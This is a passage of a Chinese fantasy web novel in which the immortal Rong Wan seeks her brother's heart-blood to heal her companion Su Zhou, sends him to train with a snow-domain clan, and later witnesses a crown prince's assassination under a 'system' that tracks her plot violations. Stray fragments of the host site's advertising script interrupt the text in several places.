“怪他,可不能怪我。”衡游继续清理其他的血洞,“我每次问他可有异样,他都说无恙。玄铁钉的伤痕内里难以愈合,我总不能扒开皮肉看吧。” “那现在?”容晚睨了一眼夙昼的伤口,极快地偏过视线,漆黑的血流出,散发着黑色的雾气。 “其他地方的灵力虽碎,却也成脉流,唯有四肢一动不动。”衡游摇了摇头,“容晚,我学医数年,看过的妖魔仙人数以万计,偏偏这一个我无能为力。” “所以,我要问容皓拿什么?” “他的血。”衡游顿了顿,又补充说,“心尖最好。天下灵药万万种,我试了这么多次,药已用尽,别无他法。” 容晚从未如此安静过,她垂眸望向躺着的夙昼,他身下是一滩黑血。她记不清这是她第几次见他躺在血泊中。 “衡游。”容晚沉默半响,“他是不是只能修魔道了?” “不好说。”衡游施针的手一顿,“你真想收他为徒啊?” “再说。”容晚招来碧落照看夙昼,换了身衣裳往上因宫去。 天边霞光璀璨,云雾之间,数位仙官刚散朝会,或驾云而行,或骑灵兽而奔。 “仙上。”一道浑厚却不严肃的声音传来。 来人一袭鎏金素衣,两鬓染霜,一双眼却锐利而温和,正是衡游的父亲衡廷肃,执掌书灵阁,教过容晚制图、装裱以及礼乐几门学问。 “仙长。”容晚向来敬重衡廷肃,行过弟子礼。 “仙上不必重礼。”衡廷肃递出一道书简,轻声道,“吾儿向来同仙上交好,老仙不盛感激,这道书简是强破诡道的审判书。” “仙长这是什么意思?”容晚没接。 “这一道书简,首座已盖过玺印。” 容晚心口蓦然一紧,压下异样的情绪,唇边带着几分笑意,“审判书盖过玺印,不是直发禁狱吗?仙长递给我为何?” “老仙一生公允,涉及吾儿之事也未曾徇私,唯有这一次,还望仙上成全。”衡廷肃在云雾之中俯身行过大礼,仙官敬高品仙阶的一道大礼。 “仙长,您直说吧。” “吾儿命中一劫,躲不得,避不得。还请仙上立誓,若有一日,吾儿命危,倾全力救之。”衡廷肃哽咽不已,眼中含泪。 “仅仅一道审判书,不够我答应。” “啊?” “但……仙长。”容晚微笑着望向他,“我与衡游多年挚友,此事容晚答应。至于审判书,该如何便如何,仙长不必为我徇私。” 行过一礼后,容晚往上因宫正殿去,容皓却不在上因宫。几经传音后,容晚在藏书阁堵到容皓。 藏书阁中仙气萦绕,点点烛火错落有致,却不像落乌界藏经殿那般是列列书架。 一入门是一个极具古 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 意的长形矮柜,矮柜后坐着一个身形极矮小的仙官,他知晓藏书阁中万物,若有缘分,甚至能窥探几分天机。 身后则是数个排列有致的小方柜,每一柜上皆是不同的名字,一柜九格,一格又分四方,各方皆有灵境。 “老书,我哥哥呢?”容晚递过自己的玉牌,“再取一份三界疆域图。” 拿到图册后,老书从数列抽屉中,拉出一格,指向其中的一方,“熟地。” 道过谢后,容晚化为一道流光飞入格内。周遭变幻,竟是曾经的望春山。 临鸢台上,一望无际的鸢尾花衬得云天渐紫。白衣如雪的男子静坐于花丛之中,一方矮桌上放着一本笔迹拙劣的画册,他看得入神。 “哥哥,许久不见。”容晚拎着剑朝他走去。自从不晴剑赠予夙昼,她又习惯手中拎剑,便从剑冢中另挑了一把剑,幻化成不晴剑形制。 走至身前不远时,一把黝黑铁剑悬于容晚喉间。 “仙上,得罪了。”绯泉侧目望向容皓,静静等待他的指令。 虚假的天光自东转向西,容晚坐于鸢尾花丛之中。直到容皓翻完那本画册,他轻声唤,“晚晚。” 容晚起身坐于他对面,冷冷地望向绯泉,“你不走吗?” 得到容皓的肯定后,绯泉散去身形,离开灵境。 “哥哥,你知道我来要什么。”容晚将一个白瓷玉瓶和一把短刀放在桌上。 那本画册竟是容晚小时所画,大多内容都是容皓有关,便送了他。 容晚伸手拿过,却被容皓轻轻打了下手,一如小时偷吃蜜饯的许多次。 “我的。”容皓将那本画册收入灵境,抬眸望向容晚,他眼中无波无澜。除去那句话有些孩子气,他在光影里仍是冷清高贵的仙门首座。 “我要心尖血。”容晚直说道。 “好啊。”容皓低低地笑,却无一丝欣喜之意,“你想要心尖血,自己剜便是。你知道,凡你所愿,我从不会拒绝你。” 容晚指尖微颤,拿起的短刀微微晃动。 21. 白日将尽 短刀落在桌面上,容晚再没动作。 “来。”容皓拿起那把短刀,另一手牵着容晚的手腕,将她拉至身前。 “哥哥。”容晚一手支在桌面上,挣扎着想缩回手,“明明不用这样的……” 若是愿意,凝出一滴两滴便可。 “那你为什么带着刀来?”容皓一点点将刀塞进她手中,刀尖向前缓慢地刺向他的胸口。 “够了!”容晚松开刀,起身便要离开。 “晚晚,为什么放弃?”容皓指尖摩挲着刀刃。 为什么? 伤及他的性命便是违规……但仅仅是这样吗? 容晚回身望向容皓,他的眉眼神情都是冷的,却偏偏叫她看出一种温情。 “并非我下不去手,而是我不想强求。”容晚微微一笑,“哥哥向来强求,但我总归是敬重你。” 过往的那些时日,上因界的一千五百年里,容皓一直是她的哥哥。 一同长大,一同修习,她敬重他。 起初容晚分得清此间世界和她真正的家。可人非草木,孰能无情,当她被护在容皓身后时,当她第一次依赖容皓……便再也分不清了。 因为有过依赖和习惯,在容皓那些偏爱变少的时候,她才会计较少了几分、容皓收回几分。 故而容皓担任首座的前夜,她拎剑指着他的冠冕,问他,“仙门首座的位置重要吗?” 容皓点头。 “值得你用我的性命去赌吗?”容晚手中剑偏了三分,她望向冠冕上的玉珠和琉璃,刺骨一般冷。 迟疑片刻,容皓掩下眸中的犹豫和挣扎,冷冷清清地回望容晚,“你不会有事。” “一箭双雕。”容晚低笑,“你送我入场,便不会显得你给我下药。同我对敌者是我交恶之人,实力不如我,却也能杀那时的我……而你最大的劲敌衡游一定会救我,最后我们违反仙律失去资格。” 容皓垂眸不语。 “明明我告诉过你,我会吃足够的安思丸,你还是给我多下了一倍的药。衡游再三强调他从不想争首座之位,你还是用我的命去算计他!” 那一日容皓明明沉默,字字句句无声胜似有声,空白的言语震耳欲聋。 …… 天光微暗,灵境中的鸢尾花田染上暗色。 “如今只是敬重我吗?”容皓指尖敲着桌面,。 哥哥总归是哥哥,隔阂再多也是。容晚不会因为一件事便否定一个人,但无法原谅的事也永远不会原谅。 “是。玄铁钉之刑,寻遍三界总能找到解法。这么多年,我很少问过哥哥愿不愿意,这一回,哥哥愿意,我却不愿意了。” 容晚轻轻出声,她望向容皓身后一望无涯的鸢尾花海,花开肆意而热烈。 “曾经我以为,你总会是我哥哥,总会向着我,却忘记了你先是仙门首座,然后才是我哥哥。” “晚晚……”容皓眸光里尽是动容,下一瞬,他却忽然冷下来,“你说这些,是为了哄我开心?然后给你心尖血,好让你去救那个不知来路的孽种吗?” “你说是就是吧,仙、门、首、座。” 容晚有些恼意,拂袖收走瓷瓶短刀。她望向容皓,眼眸中升起一片冷雾。 “这几日我会离开上因界,追捕禁狱逃犯,想来赶不上首座生辰了。”容晚走了几步,又定住,一个极小的檀木方盒现于容皓眼前。 容皓凝视着她的背影。 “哥哥,生辰吉乐。”容晚祝贺他,却无一丝恭祝之意。 话未落,人影已散。 容皓打开那只盒子,里面不是别的,是一枚玺印。 当年他告诉容晚,自己想做仙门首座,容晚先是嘲笑,又很认真地鼓励他。 从繁复的学业里抽出几夜,她笨拙地刻出一个玺印,递给他看,“我相信哥哥,也支持哥哥,这枚玺印等哥哥做了首座,我再送给你。” …… 早该几百年前收到的礼物,因为他的谋算而迟到。 容皓脸上浮现出脆弱的苍白,眼中的柔情蜜意黯淡,望着这枚玺印上的刻字愣神。 刻痕拙劣,用料粗糙……他却险些拿不住。 这世界大多数事,失之毫厘差之千里,他偏要万无一失。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' - 雪在山道上薄薄落下一层,微风卷着落花。容晚撑着一把竹骨纸伞往山上去,她抓着伞柄的手浮现出几道青筋。 透过窗扇,她望见夙昼静躺着。碧落坐在床侧为他温药,衡游手中的银针悠然落下去。 “哈哈哈哈哈!” 一阵大笑声传来,衡游激动地起身,招呼碧落去看,“果真好了!虽说这小子难治到我盛名有损,但终归是我治好了他!” “仙上知道一定开心。”碧落说。 容晚松了口气,心中怅然若失的感觉消散,看来,没有拿到心尖血并非难事。 “哎!她能不知道?心尖血都拿到了,人肯定救得了。”衡游摇晃着手中一个小玉瓶,感叹说:“可惜了,只给一滴,不然我铁定研制出大量解药,挨个去破诡道机关所用之毒,再写一本毒经……” “这心尖血送来许久了,仙上竟还未回……”碧落正疑惑,眼见着容晚撑伞站在院角。 细细碎碎的雪沫落她发间、落她衣裳。 雪梅落花随雪而下,她立于其间,像冬日的一阵冷雾。 “仙上。”碧落行礼。 “容晚!”衡游招手唤她,欣喜道,“你怎么拿到的?算了不管怎么拿到的,这小子玄铁钉的伤无碍了,至于元灵的话,那颗珠子就能代替。” “我没拿到心尖血。”容晚俯身去探夙昼的灵脉,已无大碍。她松开夙昼的手腕,去拿那个盛放心尖血的玉瓶,久久攥在手中。 夙昼醒来是在傍晚。中途衡游提取了玉瓶中残留的血丝,还给容晚一个干干净净的玉瓶后,跑回丹房研究。 碧落一下下扇着炉火温药。 暖黄的灵火映衬下,容晚手中拿着三界疆域图批阅,结合之前那些悬赏令的内容,做出一本实时追踪逃犯的图册。她翻阅到最棘手的那一页,赫然是她自己——白衣罪仙。 “姐姐。”夙昼起身,从床榻上下来,站于她的身前,可他望见容晚那双冷清的眸,忽然感到几分不自在。 “那颗珠子……我若继承,便要修习魔道,对吗?” 他希冀着那个异样的答案。 22. 白日将尽 “你不愿意修习魔道?”容晚拿出那颗琉璃珠递给他,“我知道人间界关于仙魔之分仍有些偏见,但如今上因落乌两界并无,你不必担心。” “我……”夙昼摇了摇头,却又点点头。他并非介意魔道,而是在意拜入何门、择谁为师。 上因界中仙魔凡人混杂,各门各派,各种修习功法皆有之。比如衡游便是落乌界中人,半魔半仙之躯,入仙门,任上仙。 只是……从未有魔修弟子拜入仙门。 “夙昼,我不想瞒你。如今你难以问仙,我和衡游再没有办法。如此,你愿意吗?” “只要能变强,修哪一门都可以。” “好。”容晚思及她已被容皓宣告卸任,句句坦言相告:“眼下我虽然未有仙位,仙阶也能叫仙门百家瞧得起。你瞧上谁做你师父,亦或想归入哪门哪家,都可以。” 夙昼指尖攥得通红,沉默着不曾答话。 晚些时候,衡游和他的两个小童子踏雪而来,小童子脸颊冻得红扑扑,怀里抱着一个硕大的药箱,另一个则是捧了一大把雪梅。衡游叼着一根糖葫芦走在他们身后。 “仙上,仙上,雪梅!” “仙上,我家仙上做了好多香丸送给你!” “你住嘴!” “我先说……” 争论不休之际,衡游轻叩指尖,两个小童子齐齐被送回丹房。那一捧雪梅散落在地上,药箱哐当一声搁在桌上。 “准备好了?”衡游问。 “拜托仙上。”夙昼行过一礼,又俯下身躯,跪于他身前,眉眼被碎发遮住,叫人看不清神情。 “多谢仙上不计前嫌,夙昼无以为报。” 衡游冷冷地望向夙昼,“我计较,谁说我不计较了?你说,要怎么还我啊?” “我……”夙昼求助般望向容晚。她依靠在窗前,把玩着那颗墨红的琉璃珠,似笑非笑。她像是在说“自己惹出的祸事自己解决。” “那……仙上说如何便如何?”夙昼问得小心。 “你得赔我一条命。起来,躺那儿。”衡游一针扎在夙昼的灵穴上,手法毫不留情,一连扎了一百多针,扎得夙昼眼皮直跳,不能动弹。 “容晚带你回上因界,我百般用药算是救你一命。落乌界你害我不成,却也临阵反悔,本仙便不同你计较了。”衡游话锋一转,“你不说话就当你答应了。” 夙昼:“……” 窗外的雪落到肩上,容晚抬手抚去,再一抬手,散落在地的雪梅花枝搁置于瓶中。 “衡游,这下你可满意?”容晚问。 “满意,满意。”衡游从药箱里拿出一把勺子,“容晚,珠子。” 容晚指尖一弹,琉璃珠稳当地落在勺子中。 衡游又道:“稳住他灵脉,暂停一瞬足矣。” 容晚指尖结印,如碎银般的光芒缠绕在夙昼周身。 琉璃珠没入夙昼体内,破碎灵脉重塑。他第一次感受到体内的灵脉苏醒,下意识地想笑,却被银针刺痛,五官皱作一团。 “这针要扎多久?”容晚碰了他鼻梁上的银针,望见夙昼的瞳孔微颤,弯唇一笑。 “不用多久,现在就能拔。”衡游笑道:“可是我看他不顺眼。” 容晚:“……” 夙昼:“……” 拔去一百多根银针,足足用去半个时辰。衡游使坏,先是让他恢复知觉,又留着最使人疼痛难捱的银针。 在容晚略显不悦的目光中,他拔下最后一根针。 趁着夙昼尚不能动,衡游拍了下夙昼的脸,调笑道:“你这副身子欠了我好些灵药,来日慢慢还啊。”话落,衡游负手而去。 夙昼恢复知觉,犹豫许久,也没能开口。 刚想开口,执笔写字的容晚指向手侧的一沓书册,“看看,选个师父。” 翻过容晚递给他的魔道百家各类名册后,夙昼放下最后一册,叹了口气。 “都不喜欢?”容晚搁笔,从他看过的书册中挑出几本,“修习魔道,我所中意的世家不过三家。其中傀地九方氏路子太野,不适合你。落乌褚氏世族众多,当今家主、少主同我有私仇,我不好举荐。而薛氏,虽说分仙魔两脉,势力名声不如褚氏,却是个隐姓埋名、韬光养晦的好去处。” 夙昼:“那上因钟氏呢?” 容晚:“上因钟氏,容不下你。” 夙州血案同钟氏有几分联系,如今夙昼根基不稳,在钟氏修习,如同羊入虎穴,得不偿失。 “那其他的呢?”夙昼仰头望向她谪仙姿容,鼓起勇气说:“姐姐,我想留在上因界。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >容晚倒是认真思索他的提议,点了点头,说:“可以,我临走前往上因明氏递一道拜帖,看看他们可愿收你。” “你……要走?”夙昼呼吸暂停了一瞬,“我……留在这里?” “你傻呀。”容晚执笔在他脸上戳了个墨点,“先前带你出禁狱,放跑了一众仙凡妖魔鬼怪,不得赶快抓回来。” “那……”夙昼目光落在她手边的追踪图册上,其上有些图页画上了红圈。 按照从前容晚的习惯,这些便是已然抓捕的罪犯。 “你以为我成天守着你啊。”容晚笑道:“还好仙人不用睡觉,我和衡游才有时间,先去抓那些为祸三界的东西。” 不是所有的逃犯都会为祸人间,大多数隐匿三界,不愿生事,唯恐被三界追捕,引火上身。 如此,她才有了很多时间。 “那你什么时候回来?”夙昼心思不稳,想不到合适的措辞。 望向夙昼微红的脸颊,容晚惊觉,他不知在别扭些什么。 “你究竟是如何想的?择谁为师?拜入何门?你若想去褚氏,等到拜入门下,他们也不好为难你……” “不是!”夙昼呼吸有些急促,那双如星亮的眸直直盯着容晚,他说:“不是褚氏、不是明氏,也不是什么钟氏,通通都不是。” “而是……而是……” 夙昼如何也说不出口。 他这副羞赧的模样,反倒让容晚一笑,想起些尘封的过往。 从前在人间界,十五六岁的夙昼鲜少顾左右而言他。 她印象最深的一次,便是那年衡游从上因界寄给她无数灵瓜灵果。她问他要先带哪一种回家,问来问去,几种瓜果都问了一遍,他都是摇头。 最后,他指着容晚说,他的母亲想见见她…… …… “有话直说吧。”容晚撑着下巴,打量着眼前的少年,他在凡人年岁里不算年幼,在上因动辄成千上万岁的年纪里,便有些小的过分。 因着那颗琉璃珠的传承,她察觉到夙昼的灵力波动,觉得他好像长大了些。 “你年纪小,说什么我都会答应你的。” “我想拜你为师,入你所在之门。” 容晚执笔的手一顿,笔尖的墨渍落在图册上,晕出好大一团污渍。 23. 十年相约 翌日。 上因明氏回了一道拜帖,邀容晚与夙昼前去赴宴。 临出门时,碧落往夙昼怀中塞了一个灵火暖炉,叮嘱他为容晚撑伞。夙昼问及,碧落只说仙上喜雪,更喜雪落沾身,不愿用术法遮挡。 “不开心?”容晚想夙昼或许是误会了什么,解释道:“我们此行只是拜会,拜师与否再议。” “好。”夙昼撑着伞遮挡住容晚,不让雪落她乌发。 明氏所在之地,为上因界西北一带,极寒之地,雪封千山。 暴雪呼啸而下,北极兽狂奔而至,其上跳下一众弟子,遥遥示礼。为首的是明氏二公子明黎,白衣如雪,不沾尘埃,面容俊美,额前坠着一颗晶莹剔透的冰珠。 “仙上远道而来,父亲年迈不便,在家煮茶而候。界内‘雪杀阵’遍布,故而家主吩咐明黎一众来迎。” “有劳。”容晚立于夙昼伞下,微微偏头望向明氏弟子,浅浅垂眸,以示知意。 “这边请。”明黎唤了个弟子前来为夙昼撑伞,“为公子撑伞。” “多谢,不必。”夙昼回礼,仅是腰背弯下,手上稳稳不动,伞上落雪堆积着,一寸也不曾散,更不曾落于容晚身上。 “仙上请。”明黎驱使着北极兽屈膝,请两人立于最为稳妥之处。 一只北极兽足以容纳数十人疾行。千里之地,自界碑至主城不过半个时辰。 容晚负手静立,衣裳透出浅彩色,乌发如墨。飞雪落身,不曾融化,等着下一瞬风吹雪而飞。 身侧的夙昼一手撑伞,一手抚着灵火暖炉。他身上披着极为宽厚的大氅,穿得极为保暖,反倒显得容晚衣着单薄。 - 这位小公子有些古怪,明黎想。 透过来信,明黎只知他身份隐秘,得容晚举荐,极有可能拜入明氏。 明氏一家,徒孙众多,天赋异禀之辈不在少数。这位夙公子去留不定,若是拜入明氏,不过是明氏承仙上容晚一份情。 哪怕首座仙诏,宣告容晚不再是第一上仙。但上因界谁人不知,区区仙位,驳便驳了。 三千灵阶的首名,无人能驳。 她的强大,不需仙位以证。 故而明黎及一众弟子,望向容晚的目光总是崇敬与向往。只因她是唯一一位打上三千灵阶首位,再未下榜之人。 三千灵阶的排位实时更新,不少人定阶后便退出排位,以免后来者居上。衡游定阶后早早退出排位,容皓接任仙门首座后也退出排位,这样的人不在少数。 容晚定阶数百年,至今仍在首位,众人皆是艳羡。 “仙上,下一届定阶会,您……会来吗?”明黎问。 “定阶会……”容晚轻笑道:“我记得下一届少说也要十多年后了。” 三界各门各家的弟子出师后,在定阶会上界定灵阶,前三千名方可登榜定阶,余者只能论品。 仔细算来,这场定阶会夙昼是必去的。 十年为期,时不待人。 “仙上,上一届您就没来,我眼巴巴看到最后,也没见着您。”明黎道。 “见我?”容晚一愣,“难道是想拜入容氏啊?可惜容氏只有首座那一脉,你可想好了?” 容晚吓唬他:“首座行教极为严苛。” “不敢不敢。”明黎忽然一指,下方是一处冰雕玉筑的城池。 许久不曾出声的夙昼,眼眸微垂,他抓住伞柄,心中有些不忿。 容氏只有一脉,意味着容晚从不收徒,也从未有开山立门之意。 莫不是,她在说给他听,叫他昨夜的妄想再也不必说出口。 路途中,明黎缠着容晚问东问西,大多时候她轻轻点头示意,偶尔言简意赅地回上一句。 而夙昼一言不发。 半个时辰后,他们进入主城领空,一处灵气汇聚的阵印引起容晚注意。容晚忽然想起什么,问:“下届定阶会,由明氏承办?” “是。” “雪域克制灵力,你们明氏子弟可是占了好大的便宜。” “其实这回……”明黎轻笑道:“父亲本不愿承办,却又被我抽中了签,回家被父亲骂了好大一通。” “辛苦了。”容晚安慰道:“我会向首座提议,给明氏谋些好处,毕竟你们是第二次承办。” 定阶会费时费钱,明氏自然不愿承办。从前是由上因界出钱,世家出力,自从容皓登位,这件事便落到众世家头上。暗地里,容皓确是落了不少埋怨。 “你要好好适应。”容晚在雪风里偏头,声音朝夙昼落下来。 “若以十年为期,你来西北雪域的日子,不会少。若是下次再来,大氅暖炉可都不能用了。” “好。” 望着并肩而立的一男一女,明黎有些困惑。难道容晚是要这位公子参加下届定阶会? 可是…… 明黎将夙昼从上到下,从左到右打量一通,得出此人毫无灵力,灵脉脆弱的结论。 区区十年,怕是连参会名额都打不下来。 - 一行人自北极兽而下,明氏家主明桐携众弟子来迎。明桐曾是仙祖的小师弟门下,算上辈分,明晚当换他一声师伯。 同明氏家主寒暄几句,他们便被请至一处暖室。外面冰天雪地,屋内竟能叫人微出一层薄汗。 “夙昼,同我的师伯行礼。”容晚出声。 夙昼乖巧照做。 “不错不错。”明桐抚着花白胡须感叹道:“你过来。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 夙昼下意识望向容晚,只见她点点头,走至明桐身侧,微微蹲下。 “伸手。”明桐细细把过灵脉后,面容上的冰冷消散,眼角染上笑意,笑道:“这孩子根骨不错。若能拜入明氏,是我明氏福分。只是仙上为何不自己收徒呢?论资排辈,明氏可不是最好的选择。” “权衡之下,明氏更好。” “好!那这孩子我便做主收下。” 明桐笑眯眯地望向夙昼,“孩子,你可愿师从于我?” “家主,我……”夙昼犹豫不决。他自然不愿,可容晚的态度他琢磨不清。 “我看啊,这孩子同我少了几分缘分。”明桐忽然出声,搀着夙昼起身,将一枚小巧的印信赠予夙昼,“可你我仍是有些缘分,这枚印信保你入雪域无阻,下届定阶会前,便留在明氏修习吧。雪域严寒,而你时间有限,耽误不得。” “多谢师伯了。”容晚起身示礼。 “你啊……不就是为此事而来?这么好的徒弟,你怎么会白白送给我?我若收他为徒,岂不是与你平辈了?” “果然,容晚瞒不过师伯,还请您海涵。” 容晚本就打算在雪域待一段时日,下届定阶会,夙昼必须成功定阶。雪域严寒,他必须尽快适应。 若想在定阶会上惊艳四座,夙昼只怕要夜以继日的努力。 不过片刻,明氏为容晚准备好住处。一处四方小院,院后有一片梅林,是个品茶练剑的好地方。 “姐姐。”夙昼问:“我留在这里?” “嗯。” “那你……你要走吗?” “偶尔。”容晚觉得他的问题太过简单,便回眸望向这个敏感、自卑的人,温和道:“不追捕禁狱逃犯时,我都会留在雪域,督促你修习。夙昼,十年为期,我要你勤奋修习,定阶会上夺得百名,你可能做到?” 夙昼没有出声,他这样的人,初有灵脉,十年为期实在严苛,但他没有拒绝。 他惊觉,从前在暗地里那朵微小的花,似乎泛出更亮的光芒。尽管不足以照亮他整个世界,却让他希冀着下一天的黎明。 她的期望,于他而言,是一场难上加难的角逐。而……他甘之如饴,万死不辞。 人间界十年相伴,他再也难求。他不想怀缅过去,只想留在她身边,有一天便是一天,有一年便是一年…… “我开始期待下一个十年。” 夙昼的声音随着雪域冷风落下来,有些模糊,却让容晚听得清楚。 他站在风里,衣袍发丝随风而动。身后满院梅林,无限生机。容晚不知是不是错觉,她在夙昼身上望见几分生机,如同雪夜里迎霜抽枝的雪梅。 “夙昼,我同样期待十年后的你。” 24. 心不在剑 十年后,西北雪域。 数月的风雪终是停了,内门弟子们被明黎带着清扫积雪。明氏向来不以术法清雪,这群养尊处优的弟子当知劳作之苦。 “夙昼,走走走——带你见个人!” 薛沐搭上夙昼的肩膀,夙昼身形微僵,却也没打掉薛沐的手。 自从十年前夙昼前往明氏修习,不出半月,薛沐薛铎两兄弟便被衡游打包一起送来明氏。其中缘由,自然是他要与容晚游走三界,抓捕禁狱逃犯。 十年光阴,夙昼与薛沐已是好友。 百般催促之下,夙昼回望明黎,向来不徇私情的明氏家主轻微点头。 随即,薛沐拉着夙昼踏入传送阵印,一息之间,两人身在雪域主道,这里风雪极大,只有匆匆忙忙赶入雪域的各门各派弟子。 “是谁?”夙昼问。 “等等。”薛沐神色微妙。不过半个时辰,他却耐不住,拉着夙昼逛起了主道旁的小摊,吃的玩的买了一堆,还塞给夙昼一串糖葫芦。 “我不要。”夙昼回绝。 “吃嘛吃嘛。”薛沐吞咽着,声音有些含糊,“先前也每次说不要不要,吃的时候不也挺开心嘛?为了换我母亲做的羊肉干,你可是破天荒地……居然同意帮我绘图做课业。又为了我家的星星果,你连先生都可以帮我骗。大少爷,别装了哈。” “大少爷”沉默着接过糖葫芦一口一口吃掉。 星星果。上次容晚从人间界回来帮他带过一小筐,薛沐薛铎家在人间界,时时可有父母寄送礼物。而他…… 起初他会希冀容晚归来看他,但容晚归期不定,有时匆匆来看他一回,提着剑在梅林把他虐了一通,说上一句“不见长进”,便又离去。只有前年明氏老家主故去时,她和衡游住了半月。 再后来他只能收到她的书信和礼物,每月一封。算算时日,也有一年没见过面。 他便不再等待了。 “怎么还不来?明明就这个时辰啊。”薛沐站着累,便大半个人靠在夙昼身上。薛沐这个人间界的娇贵公子,软硬不吃,死皮赖脸缠着夙昼。 一道灵力揪住薛沐的衣领,蔓延全身、支撑他站好却又毫不费力。薛沐感叹道:“好兄弟。” “你日日不修习,你师父会呵斥你。”夙昼刚想继续说,视线忽然停在一个方向…… “大少爷最怕一个人待着等人,所以……小爷功成身退。”薛沐意味深长道。 夙昼淡淡道:“明日课业。” 薛沐:“好兄弟!” 话落,再不见薛沐身影。 夙昼的视线一刻也不曾离开那个方向。 那是容晚。 一年未见的容晚。 - 定阶会将开,雪域之中不允空中御剑、灵兽飞行。 容晚身着白玉长袍,不同于昔日上仙形制,而是人间界剑修的装扮,长发束起,眉眼之间冷淡无情,更显凌厉。 “上仙……”夙昼这一声唤得轻。他忽然不知该说什么,是说课业进步?还是剑术精进? 胡思乱想之间,容晚已至眼前,她问:“你此时应在上学,为何在此处?” “今日雪停,无课。” “梅林。” 残雪漫天飞舞,雪域梅林常开不败,花落如残血,一男一女身姿轻盈,执剑对招。 “太慢。” “走神。” “心不在剑!” 几招之内,剑便横于夙昼颈前。 容晚收剑入鞘,冷声道:“毫无长进。” 话落,她转身往竹筑小院里走,夙昼紧紧跟着她,胡思乱想间,听见容晚又问:“你在想什么?” “想……” 夙昼沉默。 一路进了正屋,这里灵火跳跃,映得四周一片通红。容晚轻叩指尖,转瞬间换了一套舒适的白绸衣裳,乌发散于身后,一只玉簪轻挽。 “你可曾有什么瞒着我吗?”容晚指尖叩着桌面,一声又一声,叩得夙昼心乱如麻,不知如何回答。 他垂着头没敢抬眸。 容晚轻叹了一声,“如今……你还是要拜我为师?” 听不到任何回答,容晚不知他在别扭些什么,便打发他离开。 至于今夜的刺杀,夙昼究竟想做什么,她不必再问。 她会亲自去看。 - 如今夙昼同众弟子一起住在学舍,他一进门,薛沐扔下手里的苹果直冲过来,问:“上仙同你过招,你又输了?” 见夙昼面色不好,薛沐安慰道:“输便输了,你想赢她再努力八百年都不够。我刚刚接到父母传书,今夜有家宴,你去不?” “我今夜有事。”夙昼婉拒。 “又是去接……”薛沐环视四周,确认隔墙无耳,这才说道:“杀人的生意?” 夙昼没有否认。 “你……我不是说了你别再……我可以借你钱啊?再说,你家上仙的家业不比首座少。你干嘛去走这一条不归路?” 薛沐还想再说,一道传音砸了过来,是薛铎。薛沐急急忙忙出门,“我哥催我了,你……” 薛沐又折回来,从储物玉牌中掏出一堆黄金,道:“算我借你。” 等到人走远后,夙昼翻开着面前的一堆黄金,轻轻笑出了声。而后,耐心地等待夜幕降临。 夜色正浓,夙昼悄无声息地绕过雪域大阵,一路往人间界赶。 - 人间界皇城。 当今圣上携幼子同游,受万民朝拜,祈来年祥瑞。 朱雀大街上人潮汹涌,花灯如龙。 一间陋屋内,容晚扣下薛沐,同她饮茶。 “上仙,我不去游街,我父皇得杀了我不可。”薛沐哭嚎道。他是人间界帝王幼子,同薛铎入仙门隐匿身份。所谓国姓,人间界王室兴旺,子嗣众多,便不曾引人惊奇。 薛沐忍不住要冲出去时,只听容晚淡淡一句:“会死。” “为什么?谁杀我?”薛沐乖巧地挪回容晚身前,再也没提离开之时。毕竟挨父皇一顿鞭子和丢了小命,孰轻孰重,他知道。 “我保你不死。”容晚承诺。不管杀意因谁而起,又是谁授意,她会查得清清楚楚。 薛沐:“那我师父不救我?” 容晚:“他在落乌界与妻子琴瑟和鸣,顾不上你。这不,我来了?” 薛沐:“娶妻?我师父娶妻了?怎么一点消息都没有?” “所以啊,你别说出去。”容晚淡淡道:“看在我今日保你一命的面子上。” “那是自然。”薛沐好奇心重,追着问道:“那怎么刺杀啊?” “今夜游街,刺杀陛下幼子。” “坏了!”薛沐提剑出门,却被结界挡了回来,他心急如焚,面向容晚不解的神情,急忙道:“上仙不知皇家习俗,虽然把我扣下了,可是百姓早就得知陛下幼子游街,总要有人替我的!” 话未说完,容晚依旧扣下薛沐,独自闪现至承天楼。 人山人海,她无心护持薛沐,而刺客必然隐匿身形,伺机而动。 那……必然是射杀。 容晚环视四周高点,察觉数处诡暗的气息。 时不待人,她只能注意刺客的动静,目光望向层层帷幕之下正襟危坐的帝王薛弃闲和靖安太子薛辞。 她昔年逗留人间界,却不曾关心朝政皇权,甚至薛沐的身份,也是前些日子才知道。 第一只穿云箭破空而来,容晚单手以挟,却抵不住数箭齐发。她欲以灵力停滞箭矢,只听见冰冷的警报声响起—— 系统:【警报:系统作出第六次违规通报,剩余四次】 容晚:我有跨界传书,仙灵未封,可在人间界行事。为什么…… 系统:【那一箭本该射中太子薛辞,他中箭身亡】 容晚一愣,垂眸望向手中的箭矢。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 已然违规,不如拦下他们所有人。 系统冰冷的声音传来:【薛辞已死】 容晚一怔,明明没有听到出箭之声……她深呼一口气,原来是障目之法。 窝藏在车辇之下的黑衣青年飞身而起,一击刺中。 射杀不成,便用暗杀。 与此同时,数支铁箭齐发,密而成雨。 百姓惊逃四散,人声嘈杂,羽林卫惊呼:“殿下遇刺!殿下遇刺!保护陛下!保护陛下!” 靖安太子足足中箭十余支,再无生机,容晚心冷如冰。 这就是必死的命运吗?不可改变的剧情走向,正如她如何也不能杀了容皓或者褚尽欢。 落乌界高手齐聚,居然是为刺杀太子。所谓刺杀幼子之说只为迷惑容晚,可她上当了。 眼见一众黑衣刺客即将撤退,容晚送出一道传音,隔空破了薛沐所在的禁制,嘱咐他无论如何不要继任太子。 传送阵印的符文即将熄灭。 容晚再无顾及,隐去身形直入传送阵印。 片刻之后,众人立于三界交汇之处。 为首的黑衣青年以金色面具掩盖真容,身形高而清瘦。 “暗杀已成,尔等速回落乌。”青年音色极冷,是容晚不曾听过的音色。 面具之下的眼睛也是狭长艳丽,可容晚并不认识。 “您不同我等回去吗?主上,上因并非长久之处……” 青年冷视出言之人,四下便再也没有声音。数十名黑衣人三三两两散开。 擒贼先擒王。 众人毫无惊觉之时,容晚果断出手。 一息之间,近百名黑衣刺客此刻宛如傀儡,再也不能动作、言语。 